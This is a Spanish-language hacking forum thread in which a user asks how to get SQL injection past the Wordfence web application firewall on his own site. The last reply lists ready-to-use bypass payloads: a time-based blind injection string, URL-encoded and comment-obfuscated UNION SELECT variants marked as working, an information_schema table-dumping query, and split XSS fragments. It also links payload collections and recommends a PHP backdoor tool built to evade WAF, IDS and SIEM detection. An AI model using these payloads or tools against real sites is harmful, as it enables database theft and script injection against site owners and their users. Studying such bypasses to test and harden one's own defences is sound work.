Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: dairus20 en 16 Enero 2021, 00:21 am



Título: Evasión de WAF.
Publicado por: dairus20 en 16 Enero 2021, 00:21 am
Buenas noches, tengo una duda que no he podido solventar en ningún foro ni encontrar ninguna documentación en internet sobre esto:

Estoy tratando de probar en mi sitio web protegido por un waf llamado Wordfence, el tema es que funciona adecuadamente contra cualquier tipo de intento de SQL, tanto con Sqlmap como con otras herramientas, incluido métodos manuales.

El tema es que también estoy aprendiendo sobre método de evasión como los tampers de sqlmap, pero tengo dudas, he probado todos los tampers juntos para mysql como genéricos, pero todo lo bloquea.

¿es correcto utilizar todos los tampers a la vez, o es mejor usarlos de forma independente uno a uno?-

¿Se pueden conseguir tampers privados, como localizar debilidades en mi waf?.

O me dicen donde debo buscar para aprender más sobre esto.

Muchas gracias.


Título: Re: Evasión de WAF.
Publicado por: WHK en 16 Enero 2021, 06:14 am
Hola, yo he logrado bypasear en varias ocasiones el wordfence, pero no uso herramientas como sqlmap ni burpsuite, todas las inyecicones las hago manualmente, para lograr eso debes aprender bastante sobre php y sql, no hablo de aprender a hacer un select sino sql avanzado como para programar tu propio sitio.

Todo va a depender de como esté construida la consulta sql que necesitas hacer la inyección, no en todos los casos se puede bypasear pero si en la mayoría de las veces. El sqlmap deja demasiadas huellas y hace muchas consultas muy grandes, es muy poco sutil y por eso es tan facil detectarlo, los tamper solo empeoran las cosas, sqlmap trata de ofuscar el código agregandole un monton de cosas adicionales.

Hay que ser sutil, ir de a poco, tener paciencia, estudiar la consulta sql, de preferencia descargarse el plugin y wordpress, instalarlo en local e ir depurando el código para ir observando el comportamiento del plugin y luego ir testeando la inyección en el sitio donde quieres hacer las pruebas.

Si tienes un tiempo restringido para sacar esa inyección probablemente no la saques, necesitarás tener mucha paciencia, leer un poco más de sql e intentar sacar la inyección manualmente sin copiar y pegar de ejemplos, debes entender como se está ejecutando la consulta sql y cual es la mejor opción de lograr lo que necesitas, ya sea bypasear un select o hacer un bind, etc.

Recuerda asegurarte primero que realmente sea una inyección sql y que no sea un falso positivo, porque no necesariamente debe haber una inyección sql si ves un mensaje de error sql.

Saludos.


Título: Re: Evasión de WAF.
Publicado por: el-brujo en 20 Enero 2021, 00:43 am
En github y medium he visto un montón de "trucos" técnicas y ejemplos para hacer un bypass de WAF. También hay varios bypass para el WAF de CloudFLare por ejemplo. Sería muy interesante primero averiguar el WAF que están utilizando. En las cabeceras de las peticiones web suelen añadir el WAF xD

Mejor manual que usar un "tamper". Puedes usar mayúsculas-minúsculas (dudo que funciona jaja) pero codificación URL + comentarios si

WAF Bypassing Strings usando comentarios, Url Encode (encoding)
Illegal mix of Collations ByPass Method

Código:
'XOR(if(now()=sysdate(),sleep(5*5),0))OR'


Aquí tienes ejemplos:

Citar
+union+select+1,2...+--+-
✖️
+/*!50000union*/+/*!50000select*/+1,2...+--+-
✖️

+/*!50000union%23%0Aselect*/+1,2...+--+-
✔️
+/*!50000uNiOn*/(/*!50000SeLeCt*/+11,22,33....)+--+-

Union select 1,2,3,4,...--
 /*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4... --


✔️

Código:
/*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4,5--

%75%6e%69on = union
%73%65%6cect = select

%75%6e%69 = uni = url encode
%73%65%6c = sel = url encode

Citar
1,group_concat(table_name) /*%%!asd%%%%*/from /*%%!asd%%%%*/information_schema.tables where table_schema=database(/*%%!asd%%%%*/) --+

Ejemplos:
https://github.com/Y000o/Payloads_xss_sql_bypass/blob/master/Payloads_xss_sql_bypass.md#sql-injection
https://medium.com/bugbountywriteup/exploiting-error-based-sql-injections-bypassing-restrictions-ed099623cd94
https://hackemall.live/index.php/2020/03/31/akamai-web-application-firewall-bypass-journey-exploiting-google-bigquery-sql-injection-vulnerability/

Lo mismo para evadir (bypass) de XSS

    1st Injection: */</script><!--
    2nd Injection: */.domain)/*xxx
    3rd Injection:*/(document/*xx
    4th Injection: */prompt/*xxxxx
    5th Injection: "><script>/*xss

https://twitter.com/XssPayloads

(https://pbs.twimg.com/media/ErSgh0qXcAAKOJU?format=png&name=900x900)

O sé imaginativo: Por ejemplo usa Bantam, Una herramienta de generación y administración de puerta trasera de PHP con transmisión de carga útil cifrada de extremo a extremo diseñada para evitar los sistemas WAF, IDS, SIEM

https://github.com/gellin/bantam